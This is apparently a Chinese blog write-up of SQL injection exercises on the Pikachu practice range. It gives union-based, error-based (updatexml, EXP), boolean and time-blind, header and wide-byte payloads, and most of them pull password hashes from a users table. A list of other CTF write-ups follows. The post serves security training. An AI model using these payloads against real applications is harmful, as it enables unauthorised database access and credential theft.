数字型注入

0x01

burp抓包,发送至repeater

后面加and 1=1,and 1=2 可判断存在注入

0x02

通过order by判断字段数,order by 2 和order by 3 返回结果不同,可得字段数为2

0x03

查看表名:

union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

0x04

查询users表中的数据:

union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'

0x05

查询数据:

union select 1,username from users

union select 1,password from users



字符型注入

0x01

加单引号报错,'--+ 返回正常,可判断存在字符型注入

0x02

通过上题可知有两个字段

查询表名:

' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

0x03

查询users表中的数据:

' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

0x04

查询数据:

' union select 1,username from users--+

' union select 1,password from users--+



搜索型注入

0x01

单引号报错,判断字段

' order by 3#时正常,' order by 4#时不正常

0x02

已经知道含有users表,直接查列名

' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#



0x03

查password数据

' union select 1,2,password from users#

XX型注入

0x01

输入单引号,得到报错信息

可以看到有个)符号,那么sql语句中前面一定有个(符号,所以要将前面闭合,后面注释掉

0x02

输入')#,抓包repeater放包

0x03

判断字段

%27)+order+by+2%23,回显正常

%27)+order+by+3%23,回显不正常,字段数为2

0x04

已知users表,查列名

%27)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'%23

0x05

查密码

%27)+union+select+1,password+from+users%23

insert/update注入

0x01

点击注册,用户名密码输入如下

提交返回

根据报错可推断前面sql语句大概是这样value('xxx',1,2,3,4,5)

0x02

使用updatexml()进行报错注入

' or updatexml(1,concat(0x7e,(SELECT password from users limit 0,1),0x7e),0) or '

Updatexml只能注出32位字符,缺少一位字符,所以改用其他函数

经测试extractvalue()函数也是一样,再换其他函数

0x03

使用EXP函数时成功注出md5

' or EXP(~(SELECT * from(select @@version)a)) or '

' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

Delete注入

0x01

单引号报错

0x02

这种id的值一般都是数字型注入

+or+EXP(~(SELECT+*+from(select+@@version)a))

最终payload:+or+EXP(~(SELECT+*+from(select+password+from+users+limit+0,1)a))

HTTP Header注入

0x01

提示给了账号密码

登录进去

0x02

刷新,抓包

可以看到Cookie中含有ant[uname]=admin,怀疑此处可能存在与数据库交互,因此加单引号进行验证

发现报错,因此,使用报错注入语句

0x03

'+or+EXP(~(SELECT+*+from(select+@@version)a))+or+'

' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '

' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '

盲注(boolian)

0x01

首先要知道一个用户名(真实环境可自己注册一个)

lili' and 1=1#

lili' and 1=2#

可判断存在注入

0x02

paylaod:lili' and substr(database(),1,1)='字母'#

对数字进行爆破

第一个字母为p

再对第二位进行爆破

lili' and substr(database(),2,1)='字母'#

第二个字母为i

按此方式一位一位进行爆破,可得数据库名为pikachu

盲注(time)

0x01

首先要知道一个用户名(真实环境可自己注册一个)

lili' and sleep(10)#

10s左右才响应,可判断存在时间盲注(或者F12看响应时间)

0x02

爆破数据库名

lili' and if(substr(database(),1,1)='字母',sleep(5),1)#

对字母进行爆破,爆破第一个字母

爆破后将Columns--Response received选中,可看到响应时间



第一个字母为p

爆破第二个字母

lili' and if(substr(database(),2,1)='字母',sleep(5),1)#

得到第二个为i

以此类推,得出数据库名为pikachu

宽字节注入

0x01

抓包在burp中操作

1%df%27+or+1=1#

0x02

判断字段数

1%df%27+union+select+1,2#

1%df%27+union+select+1,2,3#

字段数为2

0x03

查表名

1%df%27+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#

0x04

查列名

1%df%27+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273#

(0x7573657273为users的16进制编码)

0x05

查数据

1%df%27+union+select+1,password+from+users#

更多技术文章请关注Timeline Sec公众号

Pikachu靶场SQL注入刷题记录的更多相关文章

  1. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  2. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  3. 刷题记录:[De1ctf] shell shell shell

    目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...

  4. 刷题记录:[FBCTF2019]Products Manager

    目录 刷题记录:[FBCTF2019]Products Manager 一.知识点 1.基于约束的SQL注入攻击 刷题记录:[FBCTF2019]Products Manager 题目复现链接:htt ...

  5. 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb

    目录 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb 一.涉及知识点 1.敏感文件泄露 2.绕过及sql注入 3.文件上传:短标签绕过php过滤 刷题记录:[CISCN20 ...

  6. 刷题记录:[网鼎杯]Fakebook

    目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...

  7. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  8. 刷题记录:[LCTF]bestphp's revenge

    目录 刷题记录:[LCTF]bestphp's revenge 一.知识点 1.SoapClient触发反序列化导致ssrf 2.serialize_hander处理session方式不同导致sess ...

  9. 刷题记录:Shrine

    目录 刷题记录:Shrine 刷题记录:Shrine 题目复现链接:https://buuoj.cn/challenges 参考链接:Shrine 解此题总结一下flask的SSTI:CTF SSTI ...

随机推荐

  1. windows核心编程课程实践---多线程文件搜索器(MFC界面)

    课上完了连老师见都没见一面QAQ....记录一下该小项目 效果如下: 1.实现文件搜索功能,并封装为类 1)首先是文件搜索类Rapidfinder的构造函数和析构函数和文件信息初始化函数和文件路径规格 ...

  2. 网络编程TCP/IP详解

    网络编程TCP/IP详解 1. 网络通信 中继器:信号放大器 集线器(hub):是中继器的一种形式,区别在于集线器能够提供多端口服务,多口中继器,每个数据包的发送都是以广播的形式进行的,容易阻塞网络. ...

  3. Maven本地仓库/中央仓库(阿里镜像)/JDK配置

    第一步打开你已经下载好的Maven,进入:根磁盘:\......\apache-maven-3.6.2\conf文件夹找到settings.xml文件(没有的可以自行创建一个同名的文件即可) 使用文本 ...

  4. Java实现 蓝桥杯 算法训练 画图(暴力)

    试题 算法训练 画图 问题描述 在一个定义了直角坐标系的纸上,画一个(x1,y1)到(x2,y2)的矩形指将横坐标范围从x1到x2,纵坐标范围从y1到y2之间的区域涂上颜色. 下图给出了一个画了两个矩 ...

  5. Java实现 蓝桥杯VIP 算法训练 装箱问题

    题目描述 有一个箱子容量为V(正整数0≤V≤20000),同时有n个物品(0<n≤30,每个物品有一个体积(正整数). 要求nn个物品中,任取若干个装入箱内,使箱子的剩余空间为最小. 输入输出格 ...

  6. Java实现 LeetCode 154 寻找旋转排序数组中的最小值 II(二)

    154. 寻找旋转排序数组中的最小值 II 假设按照升序排序的数组在预先未知的某个点上进行了旋转. ( 例如,数组 [0,1,2,4,5,6,7] 可能变为 [4,5,6,7,0,1,2] ). 请找 ...

  7. Java实现考察团组成

    考察团组成 某饭店招待国外考察团.按照标准,对领导是400元/人,随团职员200元/人,对司机50元/人. 考察团共36人,招待费结算为3600元,请问领导.职员.司机各几人. 答案是三个整数,用逗号 ...

  8. java实现第三届蓝桥杯排日程

    排日程 [编程题](满分34分) 某保密单位机要人员 A,B,C,D,E 每周需要工作5天,休息2天. 上级要求每个人每周的工作日和休息日安排必须是固定的,不能在周间变更. 此外,由于工作需要,还有如 ...

  9. OAuth2.0系列之基本概念和运作流程(一)

    @ 目录 一.OAuth2.0是什么? 1.1 OAuth2.0简介 1.2 OAuth2.0官方文档 二.OAuth2.0原理 2.1 OAuth2.0流程图 三. OAuth2.0的角色 四.OA ...

  10. TCP/IP三次握手协议

    一.简介         三次握手协议指的是在发送数据的准备阶段,服务器端和客户端之间需要进行三次交互,OSI参考模型中的网络层,在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一 ...